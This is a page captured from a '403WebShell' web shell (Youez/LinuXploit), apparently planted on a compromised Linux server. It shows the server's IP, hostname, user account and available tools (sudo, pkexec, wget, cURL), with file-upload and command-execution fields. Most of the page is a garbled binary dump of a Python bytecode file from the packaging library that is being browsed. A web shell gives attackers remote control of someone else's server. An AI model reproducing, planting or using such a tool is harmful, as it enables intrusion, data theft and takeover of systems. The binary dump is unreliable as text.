Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/certbot/current/lib/python3.12/site-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/certbot/current/lib/python3.12/site-packages/packaging/__pycache__/_musllinux.cpython-312.pyc
�

��j�
�
���dZddlmZddlZddlZddlZddlZddlmZm	Z	ddl
mZerddlm
Z
mZGd�d	e	�Zdd
�Zej"dd��Zdd�Zed
k(r�ddlZej,�Zej1d�sJd��ede�edeej4��edd��eej6ddej9dd�d�g�D]Zeed���yy)z�PEP 656 support.

This module implements logic to detect if the currently running Python is
linked against musl, and what musl version is used.
�)�annotationsN)�
TYPE_CHECKING�
NamedTuple�)�ELFFile)�Iterator�Sequencec�"�eZdZUded<ded<y)�_MuslVersion�int�major�minorN)�__name__�
__module__�__qualname__�__annotations__���P/root/parts/certbot/install/lib/python3.12/site-packages/packaging/_musllinux.pyrrs���J��Jrrc�@�d�|j�D�D�cgc]}|s�|��	}}t|�dks|ddddk7rytjd|d�}|syt	t|j
d��t|j
d����Scc}w)	Nc3�<K�|]}|j����y�w)N)�strip)�.0�ns  r�	<genexpr>z&_parse_musl_version.<locals>.<genexpr>s����@�q�����@�s��r��muslzVersion (\d+)\.(\d+)r)r
r)�
splitlines�len�re�matchrr�group)�outputr�lines�ms    r�_parse_musl_versionr's���@�F�,=�,=�,?�@�F�1�A�Q�F�E�F�
�5�z�A�~��q��"�1���/��
���(�%��(�3�A����c�!�'�'�!�*�o�S������_�E�E��

Gs
�B�Bc�,�	t|d�5}t|�j}ddd��d|vryt
j|gdtjd��}t|j�S#1swY�MxYw#ttt
f$rYywxYw)a`Detect currently-running musl runtime version.

    This is done by checking the specified executable's dynamic linking
    information, and invoking the loader to parse its output for a version
    string. If the loader is musl, the output would be something like::

        musl libc (x86_64)
        Version 1.2.2
        Dynamic Program Loader
    �rbNrFT)�check�stderr�text)�openr�interpreter�OSError�	TypeError�
ValueError�
subprocess�run�PIPEr'r+)�
executable�f�ld�procs    r�_get_musl_versionr9$s����
�*�d�
#�	(�q����'�'�B�	(�
�z�V�2�%���>�>�2�$�e�J�O�O�$�O�D��t�{�{�+�+�	(�	(���Y�
�+����s'�A<�A0�A<�0A9�5A<�<B�Bc#�K�ttj�}|�y|D]5}t|jdd�D]}d|j
�d|�d|������7y�w)a�Generate musllinux tags compatible to the current platform.

    :param archs: Sequence of compatible architectures.
        The first one shall be the closest to the actual architecture and be the part of
        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
        be musllinux-compatible.

    :returns: An iterator of compatible musllinux tags.
    N����
musllinux_�_)r9�sysr5�rangerr
)�archs�sys_musl�archrs    r�
platform_tagsrC;sh����!����0�H�����?���8�>�>�2�r�2�	?�E��x�~�~�.�a��w�a��v�>�>�	?�?�s�AA�__main__zlinux-z	not linuxzplat:zmusl:ztags:� )�endz[.-]r=�-r;z
      )r$�str�return�_MuslVersion | None)r5rHrIrJ)r@z
Sequence[str]rIz
Iterator[str])�__doc__�
__future__r�	functoolsr!r2r>�typingrr�_elffiler�collections.abcrr	rr'�	lru_cacher9rCr�	sysconfig�get_platform�plat�
startswith�printr5�sub�split�trrr�<module>rZs����#��	��
�,���2��:��
F����,��,�,?�&�z���!�9�!�!�#�D��?�?�8�$�1�k�1�$�	�'�4��	�'�$�S�^�^�4�5�	�'�s��
�F�B�F�F�7�C����C��1C�B�1G�H�I�
J�!��
�a�Z� �!�r

Youez - 2016 - github.com/yon3zu
LinuXploit